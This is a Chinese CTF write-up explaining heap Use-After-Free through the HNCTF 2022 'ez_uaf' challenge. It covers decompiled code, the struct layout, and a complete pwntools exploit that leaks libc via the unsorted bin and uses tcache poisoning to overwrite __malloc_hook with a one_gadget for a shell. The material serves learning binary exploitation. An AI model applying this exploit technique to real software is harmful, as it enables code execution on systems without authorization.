UAF

UAF 即 Use After Free (释放后使用)当一个指针所指向的指针块被释放掉之后可以再次被使用, 但是这是有要求的,不妨将所有的情况列举出来

1
2
3
4
5
chunk被释放之后,其对应的指针被设置为NULL,如果再次使用它,程序就会崩溃。

chunk被释放之后,其对应的指针未被设置为NULL,如果在下一次使用之前没有代码对这块内存进行修改,那么再次使用这个指针时**程序很有可能正常运转**

内存块被释放后,其对应的指针没有被设置为NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,**就很有可能会出现奇怪的问题**

在堆中 Use After Free 一般指的是后两种漏洞, 我们一般称被释放后没有被设置为NULL的内存指针为dangling pointer(悬空指针)

来看一道题

[HNCTF 2022 WEEK4]ez_uaf

ida静态分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-4h]

init_env(argc, argv, envp);
puts("Easy Note.");
while ( 1 )
{
while ( 1 )
{
menu();
v3 = getnum();
if ( v3 != 4 )
break;
edit();
}
if ( v3 > 4 )
{
LABEL_13:
puts("Invalid!");
}
else if ( v3 == 3 )
{
show();
}
else
{
if ( v3 > 3 )
goto LABEL_13;
if ( v3 == 1 )
{
add();
}
else
{
if ( v3 != 2 )
goto LABEL_13;
delete();
}
}
}
}

进入菜单看看

1
2
3
4
5
6
7
8
int menu()
{
puts("1.Add.");
puts("2.Delete.");
puts("3.Show.");
puts("4.Edit.");
return puts("Choice: ");
}

可以看到有四种功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
int add()
{
__int64 v1; // rbx
int i; // [rsp+0h] [rbp-20h]
int v3; // [rsp+4h] [rbp-1Ch]

for ( i = 0; i <= 15 && *((_QWORD *)&heaplist + i); ++i )
;
if ( i == 16 )
{
puts("Full!");
return 0;
}
else
{
puts("Size:");
v3 = getnum();
if ( (unsigned int)v3 > 0x500 )
{
return puts("Invalid!");
}
else
{
*((_QWORD *)&heaplist + i) = malloc(0x20uLL);
if ( !*((_QWORD *)&heaplist + i) )
{
puts("Malloc Error!");
exit(1);
}
v1 = *((_QWORD *)&heaplist + i);
*(_QWORD *)(v1 + 16) = malloc(v3);
if ( !*(_QWORD *)(*((_QWORD *)&heaplist + i) + 16LL) )
{
puts("Malloc Error!");
exit(1);
}
*(_DWORD *)(*((_QWORD *)&heaplist + i) + 24LL) = v3;
puts("Name: ");
if ( !(unsigned int)read(0, *((void **)&heaplist + i), 0x10uLL) )
{
puts("Something error!");
exit(1);
}
puts("Content:");
if ( !(unsigned int)read(
0,
*(void **)(*((_QWORD *)&heaplist + i) + 16LL),
*(int *)(*((_QWORD *)&heaplist + i) + 24LL)) )
{
puts("Error!");
exit(1);
}
*(_DWORD *)(*((_QWORD *)&heaplist + i) + 28LL) = 1;
return puts("Done!");
}
}
}

Add函数

结构体设计

每个堆块包含:

  • 16字节的name字段
  • 8字节的content指针(指向数据区)
  • 4字节的size(数据区大小)
  • 4字节的status(使用状态)

结构体基地址分配

1
2
3
4
*((_QWORD *)&heaplist + i) = malloc(0x20uLL); // 分配 0x20 (32) 字节的结构体内存

总大小:0x20 字节(32 字节)
对应设计:整个结构体的大小为 32 字节,由后续字段的偏移总和验证。

结构体字段定义(通过偏移操作体现)

(1) name 字段(0x00-0x0F)

1
2
3
4
5
read(0, *((void **)&heaplist + i), 0x10uLL); // 向基地址写入 16 字节的 name

偏移:0x00(基地址起始位置
长度:0x1016 字节)
操作:直接将用户输入的 16 字节数据写入结构体起始地址。

(2) content_ptr 字段(0x10-0x17)

1
2
3
4
5
6
7
8
9
10
11
12
*(_QWORD *)(v1 + 16) = malloc(v3); // 将 content 指针存入偏移 0x10 处
偏移:0x10(基地址 + 16 字节)

类型:_QWORD(64 位指针)

操作:

v1 是结构体基地址(heaplist[i])

v1 + 16 定位到 content_ptr 字段的地址

malloc(v3) 返回的 content 数据区指针存入此处

(3) size 字段(0x18-0x1B)

1
2
3
4
5
6
*(_DWORD *)(*((_QWORD *)&heaplist + i) + 24LL) = v3; // 将 size 存入偏移 0x18 处
偏移:0x18(基地址 + 24 字节)

类型:_DWORD(4 字节整数)

操作:将用户输入的 v3(content 大小)存入此处。

(4) status 字段(0x1C-0x1F)

1
2
3
4
5
6
*(_DWORD *)(*((_QWORD *)&heaplist + i) + 28LL) = 1; // 将 status 标记为 1(已使用)
偏移:0x1C(基地址 + 28 字节)

类型:_DWORD(4 字节整数)

操作:将状态标记为 1(表示该堆块已被占用)。

结构体内存布局总结
通过代码中的偏移操作,可以反推出结构体的完整内存布局:

1
2
3
4
5
6
7
8
9
10

struct HeapEntry {
char name[16]; // 0x00-0x0F (16 bytes)
void* content_ptr; // 0x10-0x17 (8 bytes)
int size; // 0x18-0x1B (4 bytes)
int status; // 0x1C-0x1F (4 bytes)
}; // 总计 32 字节 (0x20)



代码验证
content_ptr 访问:

1
2
puts(*(const char **)(*((_QWORD *)&heaplist + v1) + 16LL)); // show 函数中的 content 输出
+16LL 对应 content_ptr 的偏移 0x10,验证了字段位置。

size 使用:

1
2
3

read(0, *(void **)(*((_QWORD *)&heaplist + i) + 16LL), *(int *)(*((_QWORD *)&heaplist + i) + 24LL));
+24LL 对应 size 字段的偏移 0x18,用于控制 read 的长度。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int show()
{
int v1; // [rsp+Ch] [rbp-4h]

puts("Input your idx:");
v1 = getnum();
if ( (unsigned int)v1 <= 0xF && *((_QWORD *)&heaplist + v1) )//负数索引验证和空指针检查
{
puts(*((const char **)&heaplist + v1));
return puts(*(const char **)(*((_QWORD *)&heaplist + v1) + 16LL));
}
else
{
puts("Error idx!");
return 0;
}
}

show函数

输入索引

通过getnum()获取用户输入的索引值v1

索引有效性检查

1
if ( (unsigned int)v1 <= 0xF && *((_QWORD *)&heaplist + v1) )
  • 范围检查:将v1转为无符号整数后检查是否 <=15(0xF),防止负数索引
  • 空指针检查:确保heaplist[v1]指针非空(堆块已分配)

输出堆块信息

  • 输出 Name 字段

    1
    puts(*((const char **)&heaplist + v1));
    • 直接输出结构体起始地址的 16 字节数据(即 name 字段)
    • 依赖 name\0 结尾(存在风险,见下文)
  • 输出 Content 数据

    1
    puts(*(const char **)(*((_QWORD *)&heaplist + v1) + 16LL));
    • 从结构体偏移 0x10 处读取 content_ptr 指针
    • 输出 content_ptr 指向的数据,同样依赖 \0 终止符

总体思路

这道题提供了一个UAF条件来让我们进行UAF攻击

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

p = process("./ez_uaf")
#p = remote("node5.anna.nssctf.cn", 25763)
elf = ELF("./ez_uaf")

context.log_level = 'debug'

def add(size, name, content):
p.recvuntil("Choice")
p.sendline("1")
p.recvuntil("Size")
p.sendline(str(size))
p.recvuntil("Name")
p.sendline(name)
p.recvuntil("Content")
p.sendline(content)

def delete(idx):
p.recvuntil("Choice")
p.sendline("2")
p.recvuntil("idx")
p.sendline(str(idx))

def show(idx):
p.recvuntil("Choice")
p.sendline("3")
p.recvuntil("idx")
p.sendline(str(idx))


def edit(idx, content):
p.recvuntil("Choice")
p.sendline("4")
p.recvuntil("idx")
p.sendline(str(idx))
p.sendline(content)

if __name__ == "__main__":
for _ in range(7):
add(0x80, "a", "b")

add(0x80, "a", "b")
add(0x20, "a", "b")

for i in range(7):
delete(i)

delete(7)
gdb.attach(p)
show(7)

leak_main_arena = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
success(f"leak_main_arena: {hex(leak_main_arena)}")
main_arena = leak_main_arena - 0x60
success(f"main_arena: {hex(main_arena)}")
libc_base = main_arena - 0x3ebc40
success(f"libc base: {hex(libc_base)}")

# tcache
edit(6, p64(main_arena - 0x10))
add(0x80, "1", "2")
add(0x80, "1", p64(libc_base + 0x10a2fc))
p.recvuntil("Choice")
p.sendline("1")
p.recvuntil("Size")
p.sendline(str(16))

# gdb.attach(p)
p.interactive()

我们先来看攻击第一步,申请了七个堆块,然后又单独申请了大小分别为0x80和0x20的堆块

前七个堆块:

填充 tcache 的 0x80 大小单链表(默认最多缓存 7 个块)

第 8 个0x80堆块:

释放后会进入 unsorted bin,其 fd/bk 会指向 main_arena 地址

小堆块隔离防止堆合并

然后释放堆块

释放堆块制造漏洞环境

释放后内存状态

tcache[0x80] 链表已满(7 个块)

第 8 个堆块进入 unsorted bin,其 fd/bk 指向 main_arena(libc 地址)

泄露libc基地址

1
2
3
4
5
6
#python

show(7) # 读取 unsorted bin 中的堆块内容
leak_main_arena = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
main_arena = leak_main_arena - 0x60
libc_base = main_arena - 0x3ebc40 # 根据 libc 版本调整偏移
  • unsorted bin 中的堆块 fd 指向 main_arena.topmain_arena + 0x60
  • 通过泄露的地址计算 libc_base(不同 libc 版本 main_arena 偏移不同

tcache poisoning 攻击

1
2
3
edit(6, p64(main_arena - 0x10))  # 修改 tcache 链表的 next 指针
add(0x80, "1", "2") # 取出被污染的块,链表指向伪造地址
add(0x80, "1", p64(libc_base + 0x10a2fc)) # 分配到目标地址并写入 system

关键操作

  1. 修改 tcache 链表
    • 通过 edit(6) 修改第 6 个释放块(位于 tcache 链表头部)的 next 指针
    • 将其指向 main_arena - 0x10(伪造地址,可能对应 __free_hook 附近)
  2. 分配伪造堆块
    • 第一次 add 取出原链表头部,此时新链表头部指向伪造地址
    • 第二次 add 分配到伪造地址,写入 __free_hook 地址(需根据 libc 符号计算)//走任意执行
    • p64(libc_base + 0x10a2fc)systemone_gadget 地址(需根据目标 libc 调整)
    • 这道题我们走的是one_gadget

关键原理

__malloc_hook 机制
__malloc_hook 是 libc 的全局变量,指向一个函数指针。当调用 malloc 时,若该指针非空,会优先执行其指向的代码。

利用方式:通过 tcache 投毒,将 __malloc_hook 覆盖为 One-Gadget 地址,后续 malloc 调用会直接触发 shell。